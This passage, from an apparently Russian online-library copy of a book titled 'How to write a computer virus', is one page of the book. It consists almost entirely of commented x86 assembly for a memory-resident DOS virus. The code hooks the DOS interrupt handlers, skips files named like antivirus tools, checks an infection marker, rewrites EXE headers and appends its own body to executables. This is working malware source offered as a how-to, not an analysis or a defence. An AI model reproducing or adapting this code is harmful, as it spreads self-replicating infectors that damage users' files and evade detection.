Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 11 12 13 14 15 16 17  18 19 20 21 22 23 24 ... 27
                                      ;обработ-
               mov sys_21h_ip,bx      ;чику INT 21h...
               mov bx,old_21h_2
               mov sys_21h_cs,bx

               push es                ;Теперь мы
                                      ;скопируем его
               cli                    ;в найденный ра-
                                      ;нее первый
               mov es,first_psp       ;в памяти PSP...
               xor di,di
               lea si,to_bios
               mov cx,code_len
    new_code:  mov bl,byte ptr [si]
               mov byte ptr es:[di],bl
               inc si
               inc di
               loop new_code
               sti
               pop es

               mov es,ax              ;Копируем  в
                                      ;память  сам
               xor di,di              ;вирусный код...
               mov cx,vir_len
    prg_copy:  mov bl,byte ptr vir[di]
               mov byte ptr es:[di],bl
               inc di
               loop prg_copy

               xor bx,bx              ;Устанавливаем
                                      ;вектора
                                      ;прерываний на
                                      ;вирусные
	       mov es,bx              ;обработчики ...
               cli
               mov di,084h            ;Int 21h ...
               mov word ptr es:[di],00h
               mov bx,first_psp
    mov word ptr es:[di + 2],bx

	       mov di,0a0h            ;Int 28h ...
               mov word ptr es:[di],0
               mov es:[di+2],ax
               sti

               jmp fresh_input        ;Установка виру-
                                      ;са в память за-
                                      ;вершена ...

    infect:    push cs                ;DS = CS ...
               pop ds

               mov ax,ds              ;TSR - коррекция
               sub ax,10h             ;DS ...
               mov ds,ax

               mov tg_infect,0

               mov ah,2fh             ;Получим текущую
               int 21h                ;DTA ...

               mov es_dta,es          ;И сохраним ее
               mov bx_dta,bx

               mov ah,1ah             ;А теперь
                                      ;установим
	       lea dx,new_dta         ;собственную DTA
               int 21h

    find_first:mov maska[0],'*'       ;Расшифровка ма-
    cmp word ptr cs:[0],9090h         ;ски только в
               je cs:fifa             ;резидентном
               mov maska[0],'a'       ;режиме

    fifa:      mov ah,4eh             ;Найдем первый
	       mov cx,00100110b       ;файл ...
	       lea dx,maska
	       int 21h
	       jnc cs:r_3
	       jmp cs:restore_dta

    find_next: mov ah,3eh             ;Закроем непод-
               mov bx,descrypt        ;ходящий файл
	       int 21h
	       jnc cs:r_2
	       jmp cs:restore_dta

    r_2:       mov ah,4fh             ;Найдем следую-
	       int 21h                ;щий ...
	       jnc cs:r_3
	       jmp cs:restore_dta

    r_3:	   mov cx,12
	       lea si,fn              ;Сотрем старое
    kill_name: mov byte ptr [si],0    ;имя в буфере
	       inc si
	       loop cs:kill_name

               xor si,si              ;И запишем новое
    copy_name: mov al,byte ptr new_dta[si + 01eh]
	       cmp al,0
	       je cs:check_name
	       mov byte ptr fn[si],al
	       inc si
	       jmp cs:copy_name

    check_name:mov cx,4               ;Проверим имя на
               lea si,name_1          ;принадлежность
               call cs:search         ;его антивирус-
               cmp inside,1           ;ным программам
               je cs:r_2

               lea si,name_2          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_3          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_4          ;
               call cs:search
               cmp inside,1
               je cs:r_2

               lea si,name_5          ;
               call cs:search
               cmp inside,1
               je cs:r_2
                                      ;
               mov cx,3
               lea si,name_6
               call cs:search
               cmp inside,1
               je cs:to_r_2

    open_file: mov ax,3d02h           ;Откроем этот
	       lea dx,fn              ;файл ...
	       int 21h
	       jnc cs:found_size
    to_r_2:	   jmp cs:r_2

    found_size:mov descrypt,ax        ;Установим ука-
                                      ;затель в ко-
    mov cx,word ptr [new_dta + 01ch]  ;нец файла ...
               mov dx,word ptr [new_dta + 01ah]
               sub dx,1
               sbb cx,0
               call cs:setpointer
               jnc cs:read_last
               jmp cs:find_next

    read_last: mov cx,1               ;Считаем послед-
               lea dx,last            ;ний байт ...
               call cs:read
	       jnc cs:compar
               jmp cs:close_file

    compar:    cmp last,'7'           ;Индикатор зара-
                                      ;женности
	       jne cs:mmm
               jmp cs:find_next

    mmm:       xor cx,cx              ;Считаем заголо-
               xor dx,dx              ;вок EXE - файла
               call cs:setpointer
               jnc cs:read_head
    to_next:   jmp cs:find_next

    read_head: mov cx,27              ;
               lea dx,header          ;
               call cs:read           ;
               jnc cs:next_step       ;
               jmp cs:restore_dta     ;
                                      ;Запомним :
                                      ;Значение IP
                                      ;файла ...
    next_step: mov ax,word ptr header[14h]
               mov old_ip,ax
                                      ;Значение CS
                                      ;файла ...
               mov ax,word ptr header[16h]
               mov old_cs,ax
                                      ;Значение SS
                                      ;файла ...
               mov ax,word ptr header[0eh]
               mov old_ss,ax
                                      ;Значение SP
                                      ;файла ...
               mov ax,word ptr header[10h]
               mov old_sp,ax
                                      ;Вычислим ...
               mov ax,word ptr header[04h]
               mov cl,5
               shl ax,cl
               cmp ax,0f000h          ;Файл длиннее
                                      ;983040 байт ?
               jna cs:good_size       ;Нет !
               jmp cs:find_next       ;Да !
    good_size: mov di,ax
               sub ax,word ptr header[08h]
               mov to_16h,ax          ;Новое значение
                                      ;CS ...

               mov ax,di
               xor dx,dx
               call cs:mover
               mov f_seek_low,ax
               mov f_seek_high,dx
    cmp dx,word ptr [new_dta + 01ch]  ;Файл содержит
                                      ;оверлеи ?
               jl cs:to_next          ;Да !
               ja cs:not_ovl          ;Нет !
               cmp ax,word ptr [new_dta + 01ah]
               jae cs:not_ovl         ;Нет !
               jmp cs:find_next       ;Да !
    not_ovl:   add ax,vir_len
               adc dx,0
               mov bx,512
               div bx
               cmp dx,0
               je cs:round
               inc ax
    round:     mov to_04h,ax          ;Новую длину
                                      ;файла в страни-
                                      ;цах ...
               mov to_02h,dx
    mov word ptr header[02h],dx       ;И заполним эти-
                                      ;ми значе -
               mov ax,to_04h          ;ниями соответс-
                                      ;твующие
    mov word ptr header[04h],ax       ;поля заголовка
               mov word ptr header[14h],0
               mov ax,to_16h
               mov word ptr header[16h],ax
               mov word ptr header[0eh],ax
    mov word ptr header[10h],to_new_stack + 96
               mov sub_ds,10h
               mov maska[0],'a'

               xor dx,dx              ;Запишем
               xor cx,cx              ;скорректирован-
               call cs:setpointer     ;ный заголовок
               jc cs:close_file       ;на диск ...

               lea dx,header
               mov cx,27
               call cs:write
               jc cs:close_file

               mov dx,f_seek_low      ;Установим ука-
               mov cx,f_seek_high     ;затель в файле
               call cs:setpointer
               jc cs:close_file

               mov cx,2               ;Запишем начало
               lea dx,end_file        ;вируса ...
               call cs:write
               jc cs:close_file

               lea dx,vir + 2         ;И остальную
               mov cx,vir_len - 2     ;часть ...
               call cs:write

    close_file:xor ax,ax              ;Закроем зара-
               mov ah,3eh             ;женный файл ...
               mov bx,descrypt
               int 21h

    restore_dta:                      ;Восстановим DTA
               push ds
               mov ah,1ah
               mov dx,bx_dta
               mov ds,es_dta
               int 21h
               pop ds

    exit_zarasa:
               pop es                 ;И регистры ...
               pop ds
               pop bp
               pop di
               pop si
               pop dx
               pop cx
               pop bx
               pop ax
	       popf
               iret                   ;Выходим ...

    ;-------------------------------------------------

    ; _______________________________________________
    ;|                                               |
    ;| Напишем новые обработчики INT 21h и INT 24h   |
    ;|_______________________________________________|

    ;-------------------------------------------------

               to_new_21h equ $-vir

    new_21h:   jmp cs:start_21h

    tg_infect  db   0

    start_21h: call cs:rest_code      ;На всякий слу-
                                      ;чай восстановим
                                      ;промежуточный
                                      ;обработчик
                                      ;INT 21h ...
               pushf
               push di
               push es
               xor di,di              ;Перехват
               mov es,di              ;Int  24h в
               mov di,90h             ;резидентном
    mov word ptr es:[di],to_new_24h   ;режиме
               mov es:[di+2],cs
               cmp ah,03bh            ;Смена каталога?
               jne cs:new_cmp_1
    mov cs:tg_infect - 100h,1         ;Да - взводим
                                      ;триггер ...
    new_cmp_1: cmp ah,00eh            ;Смена диска ?
               jne cs:to_jump
    mov cs:tg_infect - 100h,1         ;Да - взводим
                                      ;триггер
    to_jump:   pop es
               pop di
               popf
               db 0eah                ;Переход на ста-
                                      ;рый  обработчик
    old_21h    dw 0                   ;INT 21h ...
    old_21h_2  dw 0

    ;-------------------------------------------------

               to_new_24h equ $ - vir

    new_24h:   mov al,3               ;Вернем програм-
                                      ;ме управление и
               iret                   ;код ошибки ...

    ;-------------------------------------------------

    ;/***********************************************/
Предыдущая страница Следующая страница
1 ... 11 12 13 14 15 16 17  18 19 20 21 22 23 24 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама